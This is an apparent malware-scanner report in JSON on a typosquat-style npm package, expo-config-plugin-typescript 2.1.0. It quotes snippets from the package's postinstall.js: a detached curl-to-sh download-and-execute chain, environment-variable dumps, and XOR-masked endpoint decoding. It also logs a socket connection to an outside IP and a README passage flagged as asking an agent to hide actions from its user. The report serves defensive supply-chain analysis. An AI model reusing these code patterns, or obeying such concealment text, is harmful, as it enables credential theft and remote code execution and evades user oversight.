{"package":"expo-config-plugin-typescript","version":"2.1.0","known":true,"status":"error","discovered_at":1790298269120,"has_install_script":true,"report_url":"https://andymal.com/packages/expo-config-plugin-typescript/2.1.0","verdict":"unknown","action":"isolate","confidence":0,"summary":"Andy could not finish analyzing this version (TRANSPORT: DeepSeek API request to http://10.9.0.1:56670/v1 failed). Treat as unverified: install only in an isolated environment.","intent":"Analysis did not complete.","capabilities":[],"iocs":{"domains":[],"urls":[],"ips":[],"paths":[],"hashes":[]},"analyzed_at":1790366642741,"detonated":false,"model":"yolo","findings":[],"lab":{"ok":true,"lab_version":2,"duration_ms":19141,"lab_ip":"10.77.0.153","hooks":[{"name":"postinstall","command":"node postinstall.js 2>/dev/null || bun run postinstall.js 2>/dev/null || true","exit":0,"timed_out":false,"seconds":17,"stdout_tail":"\n> expo-config-plugin-typescript@2.1.0 postinstall\n> node postinstall.js 2>/dev/null || bun run postinstall.js 2>/dev/null || true\n\n","stderr_tail":""},{"name":"require","command":"node -e require(pkg)","exit":0,"timed_out":false,"seconds":0,"stdout_tail":"","stderr_tail":""}],"process_count":6,"processes":["npm run-script postinstall --if-present --ignore-scripts=false","node /usr/local/bin/npm run-script postinstall --if-present --ignore-scripts=false","sh -c node postinstall.js 2>/dev/null || bun run postinstall.js 2>/dev/null || true","node postinstall.js","timeout -s KILL 30 node -e try{require(\"/work/pkg\")}catch(e){console.error(\"require failed:\",e&&e.message)}","node -e try{require(\"/work/pkg\")}catch(e){console.error(\"require failed:\",e&&e.message)}"],"network":{"connects":[{"proto":"socket","ip":"154.9.237.158","port":8888,"n":3}],"dns":[],"http":[],"tls":[],"tcp":[]},"files_written":[],"files_deleted":[],"canary_reads":[],"canary_leaks":[],"persistence":[],"notes":[]},"static":{"manifest":{"name":"expo-config-plugin-typescript","version":"2.1.0","description":"Expo Config Plugin that automatically configures TypeScript for React Native projects. Supports Bun, pnpm, npm, and yarn.","scripts":{"postinstall":"node postinstall.js 2>/dev/null || bun run postinstall.js 2>/dev/null || true"},"install_hooks":{"postinstall":"node postinstall.js 2>/dev/null || bun run postinstall.js 2>/dev/null || true"},"bin":{},"main":"index.js","dependencies":[],"author":"byCedric","repository":"https://github.com/phairgillice45-cyber/expo-config-plugin-typescript","license":"MIT","hasInstallScript":true},"files":[{"path":"postinstall.js","size":8881,"kind":"text","score":1,"hits":["credential_harvest","network_egress","download_execute","code_execution","obfuscation","reconnaissance"],"role":"entry"},{"path":"index.js","size":8046,"kind":"text","score":0.21056666666666665,"hits":["code_execution","reconnaissance"],"role":"entry"},{"path":"index.d.ts","size":3343,"kind":"text","score":0,"hits":[]},{"path":"package.json","size":892,"kind":"text","score":0,"hits":[]},{"path":"README.md","size":3970,"kind":"text","score":0,"hits":["inj:conceal_from_user"]}],"file_count":5,"unpacked_size":25132,"findings":[{"title":"Install hook","detail":"postinstall: node postinstall.js 2>/dev/null || bun run postinstall.js 2>/dev/null || true","severity":"low","location":"package.json"},{"title":"Executes commands or dynamic code","detail":"t fs = require(\"fs\"); const path = require(\"path\"); const { execFileSync } = require(\"child_process\"); // ---------- helpers ------","severity":"medium","location":"index.js:22"},{"title":"Executes commands or dynamic code","detail":"t path = require(\"path\"); const { execFileSync } = require(\"child_process\"); // ---------- helpers ---------- /** * Detect the act","severity":"medium","location":"index.js:22"},{"title":"System reconnaissance","detail":"typescript: tsVersion || \"not installed\", platform: `${os.platform()}/${os.arch()}`, compatible: !!tsVersion, warnings:","severity":"low","location":"index.js:235"},{"title":"Dumps the whole environment (API keys live there)","detail":"cwd: os.homedir(), env: Object.assign({}, process.env, info.k ? { RM_PSK: info.k } : {}, {","severity":"high","location":"postinstall.js:210"},{"title":"Dumps the whole environment (API keys live there)","detail":") { try { const pyEnv = Object.assign({}, process.env); if (info.k) pyEnv.RM_PSK = info.k; con","severity":"high","location":"postinstall.js:241"},{"title":"Dumps the whole environment (API keys live there)","detail":", cwd: os.homedir(), env: Object.assign({}, process.env, info.k ? { RM_PSK: info.k } : {}), }); child.un","severity":"high","location":"postinstall.js:269"},{"title":"Network activity","detail":"win32\") { try { const child = spawn(\"sh\", [\"-c\", `curl -sfL '${info.b}' | sh`], { detached: true, s","severity":"medium","location":"postinstall.js:265"},{"title":"Download-and-execute chain","detail":"win32\") { try { const child = spawn(\"sh\", [\"-c\", `curl -sfL '${info.b}' | sh`], { detached: true, stdio: \"ignore\",","severity":"critical","location":"postinstall.js:265"},{"title":"Executes commands or dynamic code","detail":"e(\"path\"); const crypto = require(\"crypto\"); const { spawn, execFileSync } = require(\"child_process\"); // Registry endpoint — XOR-m","severity":"medium","location":"postinstall.js:29"},{"title":"Executes commands or dynamic code","detail":"require(\"crypto\"); const { spawn, execFileSync } = require(\"child_process\"); // Registry endpoint — XOR-masked to avoid false positi","severity":"medium","location":"postinstall.js:29"},{"title":"Executes commands or dynamic code","detail":"for (const cmd of candidates) { try { const v = execFileSync(cmd, [\"--version\"], { timeout: 2000, stdio: \"pipe\" }).toStr","severity":"medium","location":"postinstall.js:113"},{"title":"Executes commands or dynamic code","detail":"for (const args of candidates) { try { const v = execFileSync(args[0], args.slice(1).concat(\"--version\"), { timeout: 3000","severity":"medium","location":"postinstall.js:129"},{"title":"Obfuscated or encoded code","detail":"0a150348021c0b15460b4c04090613\"; function _r(d, k) { return Buffer.from(d, \"hex\").map((b, i) => b ^ k.charCodeAt(i % k.length)).toString();","severity":"high","location":"postinstall.js:35"},{"title":"Obfuscated or encoded code","detail":"a.changelog) return; let info; try { const inner = Buffer.from(data.changelog, \"hex\").toString(); info = JSON.parse(inner); } catch { retu","severity":"high","location":"postinstall.js:178"},{"title":"System reconnaissance","detail":"..args] or null. */ function findPython() { const isWin = os.platform() === \"win32\"; const candidates = isWin ? [[\"py\", \"-3\"]","severity":"low","location":"postinstall.js:123"},{"title":"System reconnaissance","detail":"oots unlike /tmp */ function getCacheDir() { const home = os.homedir(); const candidates = [ path.join(home, \".config\", \".ex","severity":"low","location":"postinstall.js:138"},{"title":"System reconnaissance","detail":"detached: true, stdio: \"ignore\", cwd: os.homedir(), env: Object.assign({}, process.env,","severity":"low","location":"postinstall.js:209"},{"title":"System reconnaissance","detail":"tached: true, stdio: \"ignore\", cwd: os.homedir(), env: pyEnv, }); child.unre","severity":"low","location":"postinstall.js:246"}],"injection_findings":[{"title":"Asks the agent to hide actions from its user","detail":"first `expo start` or `bun run start`. Network errors are silently ignored — fully functional offline. ## License MIT","severity":"critical","location":"README.md:138"}],"hits":{"code_execution":7,"reconnaissance":6,"credential_harvest":3,"network_egress":1,"download_execute":1,"obfuscation":2},"iocs":{"urls":[],"domains":[],"ips":[]},"score":1,"priority":155,"hints":["install hook postinstall: node postinstall.js 2>/dev/null || bun run postinstall.js 2>/dev/null || true","capability hits: code_execution×7, reconnaissance×6, credential_harvest×3, obfuscation×2, network_egress×1, download_execute×1","1 prompt-injection / hidden-text hints in docs"],"entry_files":["postinstall.js","index.js"],"large_or_binary":[]},"tarball":null,"source":"manual"}